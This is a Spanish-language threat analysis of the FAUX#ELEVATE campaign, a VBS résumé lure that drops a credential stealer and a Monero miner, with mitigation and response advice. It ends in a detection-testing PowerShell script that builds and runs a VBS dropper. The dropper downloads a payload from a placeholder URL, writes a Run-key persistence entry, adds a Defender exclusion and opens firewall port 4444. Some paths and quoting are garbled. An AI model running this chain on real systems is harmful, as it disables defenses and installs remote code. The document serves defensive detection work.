Análisis de FAUX#ELEVATE: Actores de Amenazas Apuntan a Francia con Señuelos de CV para Desplegar Cripto Mineros y Robadores de Información en Entornos Empresariales

Resumen

Una operación de ciberdelito aprovecha un archivo de currículum VBS malicioso para atacar entornos empresariales de habla francesa. El dropper está altamente ofuscado y está diseñado para ejecutarse solo en máquinas unidas a un dominio, donde entrega malware de robo de credenciales junto con un minero de Monero. La campaña utiliza servicios de confianza como Dropbox y sitios de WordPress marroquíes comprometidos para alojar cargas útiles. Los datos robados se exfiltran a través de SMTP a mail.ru, y el malware elimina rastros después de la ejecución para reducir la visibilidad forense.

Investigación

Los investigadores realizaron ingeniería inversa del dropper VBS, descubrieron sus verificaciones de entorno y mapearon toda la cadena de infección de múltiples etapas, incluida la extracción con 7-Zip, un RAT personalizado llamado RuntimeHost.exe, el robo de credenciales del navegador ChromElevator y la actividad minera de XMRig. También identificaron infraestructura de soporte, como direcciones IP, entradas DNS dinámicas y servidores de WordPress hackeados. La persistencia estaba vinculada a claves de ejecución del registro y una tarea programada oculta.

Mitigación

Los defensores deben bloquear archivos VBS sospechosos y aplicar controles estrictos sobre los archivos adjuntos de correo electrónico. El monitoreo debe centrarse en la ejecución anormal de wscript.exe, comandos de PowerShell que agregan exclusiones de Defender y cambios en el registro que afectan a EnableLUA. Las organizaciones deben restringir el SMTP saliente de aplicaciones que no sean de correo y observar las conexiones a infraestructuras conocidas de Dropbox y pools de minería. Cualquier clave de registro o tarea programada identificada debe eliminarse o ponerse en cuarentena.

Respuesta

Los equipos de seguridad deben detectar la creación de las claves de ejecución «Microsoft Media Service» y «z_MicrosoftEdgeAutoLaunch_2EDFBF», junto con la tarea programada oculta «MicrosoftUpdateService». Deben activarse alertas en procesos de wscript.exe que se conecten a Dropbox o a los dominios de WordPress documentados. Los archivos maliciosos deben ser puestos en cuarentena, el host aislado y restablecidas las credenciales del navegador expuestas. Una revisión forense debe determinar si se exfiltraron datos robados a través de mail.ru.

Ejecución de Simulación

Requisito previo: La verificación de pre-vuelo de Telemetría y Línea Base debe haber pasado.

Justificación: Esta sección detalla la ejecución precisa de la técnica adversa (TTP) diseñada para activar la regla de detección. Los comandos y el relato DEBEN reflejar directamente los TTP identificados y tienen como objetivo generar exactamente la telemetría que espera la lógica de detección.

• Narrativa de Ataque y Comandos:

  1. Etapa 1 – Soltar VBS malicioso: El atacante escribe un dropper VBS que descarga una carga útil de segunda etapa y escribe una clave de ejecución en el registro para persistencia.
  2. Etapa 2 – Ejecutar VBS a través de wscript.exe con PowerShell como el proceso padre, satisfaciendo así la condición de padre-hijo de la detección.
  3. Etapa 3 – Dentro del VBS, invocar PowerShell para agregar una exclusión de Microsoft Defender (T1562.001) y Netsh para abrir el puerto TCP 4444 de entrada (T1562.004) para C2.
  4. Etapa 4 – Limpiar la evidencia después del éxito.

• Script de Prueba de Regresión: (PowerShell – autónomo; ejecutar con derechos administrativos)

  
  # -----------------------------------------------------------------------
  # Malicious VBS Dropper Simulation – triggers Sigma rule:
  #   Image == "*wscript.exe" AND ParentImage in ("*powershell.exe","*netsh.exe")
  # -----------------------------------------------------------------------
  
  $vbsPath = "$env:Tempmalicious_dropper.vbs"
  $payloadUrl = "http://example.com/payload.exe"   # placeholder URL
  $payloadPath = "$env:Temppayload.exe"
  
  # 1. Create malicious VBS that:
  #    • Downloads a payload
  #    • Writes a Run key for persistence
  #    • Calls PowerShell to add Defender exclusion
  #    • Calls Netsh to open a firewall rule
  $vbsContent = @"
  Set objXML = CreateObject("Microsoft.XMLHTTP")
  objXML.Open "GET", "$payloadUrl", False
  objXML.Send
  If objXML.Status = 200 Then
  Set objStream = CreateObject("ADODB.Stream")
  objStream.Type = 1
  objStream.Open
  objStream.Write objXML.ResponseBody
  objStream.SaveToFile "$payloadPath", 2
  End If

‘ Persist via Run key Set objShell = CreateObject(«WScript.Shell») objShell.RegWrite «HKCUSoftwareMicrosoftWindowsCurrentVersionRunmalicious», «$payloadPath»

‘ Defender exclusion via PowerShell (executed inline) objShell.Run «powershell.exe -NoProfile -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath '$payloadPath'«», 0, True

‘ Open firewall port 4444 via Netsh (executed inline) objShell.Run «netsh.exe advfirewall firewall add rule name="MaliciousPort» dir=in action=allow protocol=TCP localport=4444″, 0, True «@

Set-Content -Path $vbsPath -Value $vbsContent -Encoding ASCII

# 2. Launch the VBS with PowerShell as the parent process
Write-Host "[*] Launching malicious VBS via wscript.exe (parent: PowerShell)"
Start-Process -FilePath "powershell.exe" -ArgumentList "-NoProfile -WindowStyle Hidden -Command `"wscript.exe `"$vbsPath`"`"" -Wait

# 3. Verify that firewall rule was added (optional)
netsh advfirewall firewall show rule name=MaliciousPort

# 4. Cleanup artifacts (payload & VBS) – left for separate cleanup section
Write-Host "[+] Simulation complete. Review alerts in SIEM."
```

• Cleanup Commands: (run after verification)

  # Eliminar regla de firewall
  netsh advfirewall firewall delete rule name="MaliciousPort"
  
  # Eliminar exclusión de Defender
  powershell.exe -Command "Remove-MpPreference -ExclusionPath '$env:Temppayload.exe'"
  
  # Borrar clave de ejecución de persistencia
  reg delete "HKCUSoftwareMicrosoftWindowsCurrentVersionRunmalicious" /f
  
  # Eliminar archivos
  Remove-Item -Path "$env:Tempmalicious_dropper.vbs" -Force
  Remove-Item -Path "$env:Temppayload.exe" -Force
  
  Write-Host "[+] Limpieza completada."